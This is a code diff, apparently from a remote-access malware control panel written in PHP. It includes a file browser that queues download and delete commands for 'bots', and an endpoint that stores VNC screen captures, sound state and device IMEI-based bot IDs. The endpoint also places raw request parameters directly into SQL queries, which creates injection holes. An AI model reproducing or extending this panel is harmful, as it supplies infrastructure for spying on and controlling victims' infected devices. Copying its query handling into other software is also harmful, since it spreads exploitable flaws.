<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>$fold</a>
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fold!!!!\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
}
foreach($arrayFile as $fil){
if($fil !== "")echo "<span class='glyphicon glyphicon-file' aria-hidden='true' style='color:#337ab7'></span>
<a style='background:#1D1F24;'>$fil</a>
<a href='javascript:void(addcommand(\"downloadfile:$path/$fil!!!!\"))' class='glyphicon glyphicon-cloud-download' aria-hidden='true' style='color:#337ab7' ></a>
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fil!!!!\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
}
echo "</div>
<center>
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
</center>
";
$database = new database;
$database->ws_UpdateStatusFileFolder('0');
}
@@ -0,0 +1,17 @@
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
CharsetSourceEnc utf-8
CharsetDefault utf-8
</IfModule>
<FilesMatch ".(php|phtml|php3|php4|html|htm|js|css|htaccess|zip)$">
Order Allow,Deny
Deny from all
</FilesMatch>
+99
View File
@@ -0,0 +1,99 @@
<?php
session_start();
$statusCode=false;
if(!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}else{
$statusCode=true;
}
}
if($statusCode){
if((isset($_GET['server'])&&($_GET['server'])=="goserverstop")){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET statusserver='0' WHERE id='1'");
$statement->execute();
}
if(isset($_GET['pathFileFolder'])){
$command = $_GET['pathFileFolder'];
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET command='$command' WHERE id='1'");
$statement->execute([$command]);
}
if(isset($_GET['statusfilefolder'])){
$statusfilefolder = $_GET['statusfilefolder'];
if($statusfilefolder=="get"){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT statusfilefolder FROM ws WHERE id='1'");
$statement->execute([$statusfilefolder]);
foreach($statement as $row){
echo $row['statusfilefolder'];
}
}
}
if(isset($_GET['deletevncimage'])){
$deletevncimage = $_GET['deletevncimage'];
if($deletevncimage=="deletejpgvnc"){
@unlink("VNC.jpg");
}
}
if(isset($_GET['statvnc'])){
$vncscreen = $_GET['statvnc'];
if($vncscreen=="get"){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT vncscreen FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
echo $row['vncscreen'];
}
}
}
if(isset($_GET['vncupdateimage'])){
$vncscreen = $_GET['vncupdateimage'];
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET vncscreen='$vncscreen' WHERE id='1'");
$statement->execute([$vncscreen]);
}
if(isset($_GET['sound'])){
$getsound = $_GET['sound'];
if($getsound=="get"){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT sound FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
echo $row['sound'];
}
}
}
if(isset($_GET['updateimei'])){
$botid = $_GET['updateimei'];
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET botid='$botid', lastconnect='' WHERE id='1'");
$statement->execute([$botid]);
}
}
?>